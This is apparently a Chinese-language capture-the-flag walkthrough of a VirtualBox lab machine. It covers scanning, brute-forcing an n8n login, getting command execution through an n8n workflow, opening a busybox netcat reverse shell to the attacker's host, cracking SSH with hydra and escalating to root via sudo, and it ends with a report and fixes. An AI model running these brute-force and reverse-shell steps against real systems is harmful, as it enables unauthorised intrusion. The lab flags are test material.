外部打点

arp-scan -l

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:74:07:c6, IPv4: 192.168.0.9
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 30:3f:7b:d5:aa:de Shenzhen YOUHUA Technology Co., Ltd
192.168.0.8 2c:9c:58:8e:96:a5 (Unknown)
192.168.0.12 08:00:27:08:28:cf PCS Systemtechnik GmbH
192.168.0.4 f2:13:09:db:48:25 (Unknown: locally administered)
192.168.0.2 18:ef:3a:66:33:e3 Sichuan AI-Link Technology Co., Ltd.

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.425 seconds (105.57 hosts/sec). 5 responded

前 3 字节(08:00:27)是 **厂商标识(OUI)**,属于 Oracle VirtualBox(虚拟机常用)

PCS Systemtechnik GmbH

确定目标:192.168.012

全端口扫描

1
2
3
4
5
PORT     STATE SERVICE
22/tcp open ssh
5678/tcp open rrac
8765/tcp open ultraseek-http
MAC Address: 08:00:27:08:28:CF (Oracle VirtualBox virtual NIC)

很奇怪的两个端口,nc 连接看响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root㉿kali)-[~]
└─# nc 192.168.0.12 5678
ls
HTTP/1.1 400 Bad Request
Connection: close


┌──(root㉿kali)-[~]
└─# nc 192.168.0.12 8765
ls
HTTP/1.1 400 Bad Request
Date: Thu, 24 Jul 2025 04:37:36 GMT
Server: Apache/2.4.58 (Ubuntu)
Content-Length: 303
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.58 (Ubuntu) Server at 127.0.1.1 Port 8765</address>
</body></html>

看到都是 HTTP/1.1,即两个 Http 服务,端口是自定义的

访问 web 服务

5678 端口开着 n8n 系统 (之前做过,是一个工作流管理系统,可命令执行)

![[Pasted image 20250724123949.png]]

这里 email 和 password 不清楚,爆破不了

8765 是 Apache2 Default Page

现在只能先做一波信息收集

在 Apache2 Default Page 里查看源码,找到注释

1
2
3
4
5
6
|   |
|---|
|<!-- usuario@maildelctf.com|
|Espero que hayas cambiado la contraseña como se te indicó.|
|Recuerda: mínimo 8 caracteres, al menos 1 número y 1 mayúscula.|
|-->|

usuario@maildelctf.com 我希望您已按照说明更改密码。请记住:至少 8 个字符,至少 1 个数字和 1 个大写字母。

得到 mail,这里的 password 需要生成密码字典

直接从 rockyou.txt 根据规则来筛选,>=8个字符,1个数字,1个大写字母

ai 生成筛选命令

1
grep -P '^(?=.*[A-Z])(?=.*[0-9]).{8,}$' rockyou.txt > pass.txt

yakit 爆破密码

提示 {“message”:”Too many requests”} ,降低线程数,调整随机延迟

爆破成功,得到账号密码

usuario@maildelctf.com:Password1

就在 pass.txt 的第一个

进入后台,创建一个工作流,组件里搜索 command ,创建组件,输入命令

先测试命令执行的连通性

![[Pasted image 20250724130259.png]]

1
2
3
ping -c 4 192.168.0.9

tcpdump -A -n icmp
1
2
3
4
5
6
7
8
┌──(root㉿kali)-[/tmp]
└─# tcpdump -A -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
13:03:44.370866 IP 192.168.0.12 > 192.168.0.9: ICMP echo request, id 15545, seq 1, length 64
E..T.!@.@..!....... ....<......h.....O...................... !"#$%&'()*+,-./01234567
13:03:44.373484 IP 192.168.0.9 > 192.168.0.12: ICMP echo reply, id 15545, seq 1, length 64
E..T.w..@.*.... ........<......h.....O......................

成功执行

反弹shell

1
2
3
busybox nc 192.168.0.9:8999 -e /bin/bash

nc -lvnp 8999

提权

调整一下交互式shell

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
Ctrl + Z [background Process]
stty raw -echo ; fg ; reset
stty columns 53 rows 236

拿到 user.txt

1
2
3
4
5
6
thl@nodeception:~$ ls
user.txt
thl@nodeception:~$ id
uid=1000(thl) gid=1000(thl) groups=1000(thl),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
thl@nodeception:~$ cat user.txt
THL_wdYkVpXlqNaEUhRJfzbtHm

查看特权命令

1
2
3
4
5
6
7
thl@nodeception:~$ sudo -l
Matching Defaults entries for thl on nodeception:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User thl may run the following commands on nodeception:
(ALL) NOPASSWD: /usr/bin/vi
(ALL : ALL) ALL

但还是要求密码,可能是配置写错了

这里直接爆破一下用户 thl 的密码

1
hydra -l thl  -P /root/work/vuln/dic/rockyou.txt  ssh://192.168.0.12 -V -t 64

得到账户密码

`22][ssh] host: 192.168.0.12 login: thl password: basketball·

直接 sudo -i 切换为 root

提权成功

1
2
3
4
5
6
7
8
thl@nodeception:~$ sudo -i
[sudo] password for thl:
root@nodeception:~# id
uid=0(root) gid=0(root) groups=0(root)
root@nodeception:~# ls
root.txt
root@nodeception:~# cat root.txt
THL_QzXeoMuYRcJtWHabnLKfgDi

渗透测试总结报告

1. 目标信息

• IP地址: 192.168.0.12
• MAC地址: 08:00:27:08:28:CF (Oracle VirtualBox虚拟机)
• 操作系统: Ubuntu (Apache/2.4.58)

2. 攻击路径

  1. 信息收集:
    • 使用arp-scan发现目标IP
    • 全端口扫描发现开放端口: 22(SSH), 5678(n8n), 8765(Apache)
    • Apache默认页面源码中发现邮箱和密码策略提示
  2. Web渗透:
    • 发现n8n工作流管理系统(5678端口)
    • 通过源码注释获取邮箱: usuario@maildelctf.com
    • 使用规则过滤rockyou.txt生成密码字典
    • 爆破获得凭证: usuario@maildelctf.com:Password1
  3. 命令执行:
    • 在n8n中创建包含命令组件的工作流
    • 验证命令执行成功后建立反弹shell
    • 获取初始立足点: 用户thl
  4. 权限提升:
    • 发现thl用户可通过SSH登录(密码:basketball)
    • 利用sudo权限直接提权到root

3. 获取凭证

• Web登录凭证:
usuario@maildelctf.com:Password1
• SSH凭证:
• thl:basketball

4. 获取flag

• 用户flag: THL_wdYkVpXlqNaEUhRJfzbtHm
• root flag: THL_QzXeoMuYRcJtWHabnLKfgDi

5. 安全建议

  1. 禁用或更改默认/弱密码
  2. 限制n8n系统的网络访问
  3. 审查sudo权限配置
  4. 移除网页中的敏感注释信息
  5. 考虑使用防火墙限制非常规端口访问

6. 时间记录

• 测试时间: 2025年7月24日
• 总耗时: 约10分钟(从扫描到获取root权限)